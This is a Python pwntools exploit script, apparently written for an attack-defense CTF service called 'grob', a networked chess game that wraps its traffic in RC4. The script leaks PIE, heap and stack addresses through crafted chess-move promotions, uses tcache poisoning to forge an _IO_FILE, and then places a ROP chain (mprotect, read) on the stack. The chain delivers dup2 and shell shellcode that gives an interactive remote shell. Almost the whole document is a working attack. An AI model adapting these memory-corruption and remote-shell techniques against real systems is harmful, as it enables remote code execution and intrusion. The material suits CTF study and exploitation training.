379 lines
11 KiB
Python
379 lines
11 KiB
Python
from sys import argv
|
|
from io import StringIO
|
|
|
|
from pwn import *
|
|
from Crypto.Cipher import ARC4
|
|
import chess
|
|
import chess.pgn
|
|
from threading import Thread
|
|
|
|
context.log_level = 'warn'
|
|
exe = context.binary = ELF('grob')
|
|
|
|
HOST = argv[1]
|
|
PORT = 11331
|
|
|
|
def u128(n, *args, **kwargs):
|
|
return unpack(n, *args, word_size=128, **kwargs)
|
|
|
|
def p128(n, *args, **kwargs):
|
|
return pack(n, *args, word_size=128, **kwargs)
|
|
|
|
class arc4tube(remote):
|
|
MODULO = (1 << 128) - 159
|
|
|
|
def __init__(self, *a, **kw):
|
|
super().__init__(*a, **kw)
|
|
|
|
priv = u128(random.randbytes(16))
|
|
pub = pow(5, priv, self.MODULO)
|
|
|
|
server_pub = u128(self.recvn(16))
|
|
self.send(p128(pub))
|
|
|
|
cph = ARC4.new(p128(pow(server_pub, priv, self.MODULO)))
|
|
|
|
self.recv_raw = lambda *a, **kw: cph.encrypt(data) if (data := super(arc4tube, self).recv_raw(*a, **kw)) else b''
|
|
self.send_raw = lambda data, *a, **kw: super(arc4tube, self).send_raw(data and cph.encrypt(data), *a, **kw)
|
|
|
|
def recvn_plain(self, n):
|
|
self.recv_raw = super(arc4tube, self).recv_raw
|
|
return super().recvn(n)
|
|
|
|
def send_plain(self, d):
|
|
self.recv_raw = super(arc4tube, self).recv_raw
|
|
self.send_raw = super(arc4tube, self).send_raw
|
|
return super().send(d)
|
|
|
|
|
|
def enter_room(io1, io2):
|
|
room_pass = room_code = randoms(16).upper().encode()
|
|
|
|
io1.send(p8(1) + room_code)
|
|
assert io1.recvn(1) == p8(0)
|
|
sleep(.1 / 2)
|
|
io2.send(p8(1) + room_code)
|
|
assert io2.recvn(1) == p8(0)
|
|
|
|
io1.send(room_pass)
|
|
assert io1.recvn(1) == p8(0)
|
|
return room_code
|
|
|
|
def start():
|
|
return arc4tube(HOST, PORT)
|
|
|
|
def pgn_iter(pgn):
|
|
pgn = chess.pgn.read_game(StringIO(pgn))
|
|
board = chess.Board()
|
|
for move in pgn.mainline_moves():
|
|
from_sq = move.from_square
|
|
to_sq = move.to_square
|
|
|
|
row_from = 7 - (from_sq // 8)
|
|
col_from = from_sq % 8
|
|
row_to = 7 - (to_sq // 8)
|
|
col_to = to_sq % 8
|
|
|
|
yield (row_from, col_from, row_to, col_to, 0, 0)
|
|
board.push(move)
|
|
|
|
|
|
def guess_byte(offset, byte, set_color):
|
|
with start() as io1, start() as io2:
|
|
enter_room(io1, io2)
|
|
|
|
color = u8(io1.recvn(1))
|
|
io2.recvn(1)
|
|
|
|
if not color:
|
|
io1, io2 = io2, io1
|
|
|
|
base = list(pgn_iter('1. a4 h5 2. a5 h4 3. a6 h3 4. axb7 hxg2'))
|
|
if set_color:
|
|
base += [(1, 1, offset // 8, offset % 8, 1, byte)] # bxa8=
|
|
else:
|
|
base += [(6, 1, 5, 1, 0, 0)] # b3
|
|
base += [(6, 6, offset // 8, offset % 8, 1, byte)] # gxh1=
|
|
|
|
order = True
|
|
for cord in base:
|
|
p = flat([0, *cord], word_size=8)
|
|
if order:
|
|
io1.send(p)
|
|
assert u8(io1.recvn(1)) == 0
|
|
io2.recvn(7)
|
|
else:
|
|
io2.send(p)
|
|
assert u8(io2.recvn(1)) == 0
|
|
io1.recvn(7)
|
|
order = not order
|
|
|
|
|
|
def leak_pie():
|
|
"""Just a linear PIE address bruteforce (history->vtable)"""
|
|
addr = bytearray(p64(0))
|
|
addr[0] = exe.sym['_IO_file_jumps'] & 0xff
|
|
|
|
def brute_byte(i):
|
|
context.log_level = 'warn'
|
|
rng_args = (exe.sym['_IO_file_jumps'] >> 8 & 0xf, 0x100, 0x10) if i == 1 else (0x100,)
|
|
for b in range(*rng_args):
|
|
try:
|
|
guess_byte(296 + i, b, 1)
|
|
except EOFError:
|
|
continue
|
|
except AssertionError:
|
|
try:
|
|
guess_byte(296 + i, b, 0)
|
|
except EOFError:
|
|
continue
|
|
|
|
addr[i] = b
|
|
break
|
|
else:
|
|
raise Exception('Bad PIE leak')
|
|
|
|
tds = {}
|
|
for i in range(1, 6):
|
|
tds[i] = Thread(target=brute_byte, args=(i,))
|
|
tds[i].start()
|
|
|
|
for i in range(1, 6):
|
|
tds[i].join()
|
|
|
|
return u64(addr)
|
|
|
|
|
|
def leak_heap():
|
|
"""Just a linear heap address bruteforce (history->_IO_write_ptr)"""
|
|
addr = bytearray(p64(0))
|
|
|
|
def brute_byte(i):
|
|
context.log_level = 'warn'
|
|
rng_args = (0, 0x100, 0x10) if i == 1 else (0x100,)
|
|
for b in range(*rng_args):
|
|
try:
|
|
guess_byte(120 + i, b, 1)
|
|
except EOFError:
|
|
continue
|
|
except AssertionError:
|
|
try:
|
|
guess_byte(120 + i, b, 0)
|
|
except EOFError:
|
|
continue
|
|
|
|
addr[i] = b
|
|
break
|
|
else:
|
|
raise Exception('Bad heap leak')
|
|
|
|
tds = {}
|
|
for i in range(1, 6):
|
|
tds[i] = Thread(target=brute_byte, args=(i,))
|
|
tds[i].start()
|
|
|
|
for i in range(1, 6):
|
|
tds[i].join()
|
|
|
|
return u64(addr)
|
|
|
|
|
|
def leak_stack(heap_base):
|
|
"""Leaks stack via history _IO_FILE structure (controllable by arb allocation),
|
|
assumes that PIE already leaked. I know it also can be leaked with heap primitives only"""
|
|
|
|
with start() as io1, start() as io2:
|
|
enter_room(io1, io2)
|
|
|
|
color = u8(io1.recvn(1))
|
|
io2.recvn(1)
|
|
|
|
if not color:
|
|
io1, io2 = io2, io1
|
|
|
|
# Allocate 2 chunks with 2 messages
|
|
for _ in range(2):
|
|
io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
|
|
assert u8(io2.recvn(1)) == 0
|
|
|
|
# Free allocated chunks
|
|
io1.send(p8(2))
|
|
msg_cnt = u8(io1.recvn(1))
|
|
for _ in range(msg_cnt):
|
|
msg_len = u16(io1.recvn(2))
|
|
io1.recvn(msg_len)
|
|
|
|
# Some PPC here, writing qword in `tcache_entry->next` with chess moves...
|
|
offset = 0x230
|
|
old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
|
|
value = p64((heap_base + 0x1760) ^ ((heap_base >> 12) + 1))[:-2]
|
|
|
|
base = list(pgn_iter('''
|
|
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
|
|
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
|
|
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
|
|
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7
|
|
'''))
|
|
|
|
order = False
|
|
pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
|
|
for i, b in enumerate(value):
|
|
if ((old_value[i] & 0xf0) >> 4) == int(order):
|
|
base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
|
|
base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
|
|
else:
|
|
base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
|
|
order = not order
|
|
|
|
offset += 1
|
|
|
|
order = True
|
|
for cord in base:
|
|
p = flat([0, *cord], word_size=8)
|
|
if order:
|
|
io1.send(p)
|
|
assert u8(io1.recvn(1)) == 0
|
|
io2.recvn(7)
|
|
else:
|
|
io2.send(p)
|
|
assert u8(io2.recvn(1)) == 0
|
|
io1.recvn(7)
|
|
order = not order
|
|
|
|
# Clear top tcache bin chunk
|
|
io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
|
|
io2.recvn(1)
|
|
|
|
# Allocate on _IO_FILE (we alse may want to leak by 2 bytes at time
|
|
# to prevent net filtration by stack addr)
|
|
fs = FileStructure()
|
|
fs.flags = 0x0002 | 0x0800
|
|
fs.fileno = 6 if color else 4
|
|
fs._lock = heap_base
|
|
fs._IO_read_end = fs._IO_write_base = exe.sym['environ']
|
|
fs._IO_write_end = fs._IO_write_ptr = fs._IO_write_base + 0x6
|
|
fs.vtable = exe.sym['_IO_file_jumps']
|
|
|
|
io2.send(flat([p8(1), p16(0x100), {
|
|
4: bytes(fs),
|
|
0x100: b''
|
|
}]))
|
|
return u64(io2.recvn_plain(6) + p16(0))
|
|
|
|
|
|
def alloc_on_stack_and_rop(heap_base, retaddr):
|
|
"""Same as `leak_stack` but on allocates on stack now"""
|
|
|
|
with start() as io1, start() as io2:
|
|
enter_room(io1, io2)
|
|
|
|
color = u8(io1.recvn(1))
|
|
io2.recvn(1)
|
|
|
|
if not color:
|
|
io1, io2 = io2, io1
|
|
|
|
# Allocate 2 chunks with 2 messages
|
|
for _ in range(2):
|
|
io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
|
|
io2.recvn(1)
|
|
|
|
# Free allocated chunks
|
|
io1.send(p8(2))
|
|
msg_cnt = u8(io1.recvn(1))
|
|
for _ in range(msg_cnt):
|
|
msg_len = u16(io1.recvn(2))
|
|
io1.recvn(msg_len)
|
|
|
|
# Some PPC here, writing qword in `tcache_entry->next` with chess moves...
|
|
offset = 0x230
|
|
old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
|
|
value = p64(retaddr ^ ((heap_base >> 12) + 1))[:-2]
|
|
|
|
base = list(pgn_iter('''
|
|
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
|
|
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
|
|
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
|
|
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7
|
|
'''))
|
|
|
|
order = False
|
|
pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
|
|
for i, b in enumerate(value):
|
|
if ((old_value[i] & 0xf0) >> 4) == int(order):
|
|
base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
|
|
base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
|
|
else:
|
|
base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
|
|
order = not order
|
|
|
|
offset += 1
|
|
|
|
order = True
|
|
for cord in base:
|
|
p = flat([0, *cord], word_size=8)
|
|
if order:
|
|
io1.send(p)
|
|
assert u8(io1.recvn(1)) == 0
|
|
io2.recvn(7)
|
|
else:
|
|
io2.send(p)
|
|
assert u8(io2.recvn(1)) == 0
|
|
io1.recvn(7)
|
|
order = not order
|
|
|
|
# Clear top tcache bin chunk
|
|
io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
|
|
io2.recvn(1)
|
|
|
|
# ROP
|
|
fd = 6 if color else 4
|
|
rop = ROP(exe)
|
|
rop.call('mprotect', [heap_base, 0x1000, 7])
|
|
rop.call('read', [fd, heap_base, 0xa0])
|
|
rop.call(heap_base)
|
|
|
|
io2.send(flat([p8(1), p16(0xa0), {
|
|
4 + 8: [
|
|
bytes(rop)
|
|
],
|
|
0xa0: b''
|
|
}]))
|
|
io2.send_plain(
|
|
asm(shellcraft.dup2(fd, 0))
|
|
+ asm(shellcraft.dup2(fd, 1))
|
|
+ asm(shellcraft.sh())
|
|
)
|
|
io2.interactive()
|
|
|
|
|
|
def pwn():
|
|
def leak_pie_thread():
|
|
exe.address = leak_pie() - exe.sym['_IO_file_jumps']
|
|
|
|
def leak_heap_thread():
|
|
global HEAP_BASE
|
|
HEAP_BASE = leak_heap()
|
|
|
|
td1 = Thread(target=leak_pie_thread)
|
|
td1.start()
|
|
td2 = Thread(target=leak_heap_thread)
|
|
td2.start()
|
|
td1.join()
|
|
td2.join()
|
|
|
|
# In A/D we really want to cache leaks
|
|
|
|
global HEAP_BASE
|
|
try:
|
|
STACK_ADDR = leak_stack(HEAP_BASE)
|
|
except EOFError:
|
|
HEAP_BASE -= 0x1000 # handle case of 0xf000 heap layout (cuz _IO_FILE at more than page size offset)
|
|
STACK_ADDR = leak_stack(HEAP_BASE)
|
|
|
|
retaddr = STACK_ADDR - 0x4e0 - 0x18
|
|
alloc_on_stack_and_rop(HEAP_BASE, retaddr)
|
|
|
|
if __name__ == '__main__':
|
|
pwn()
|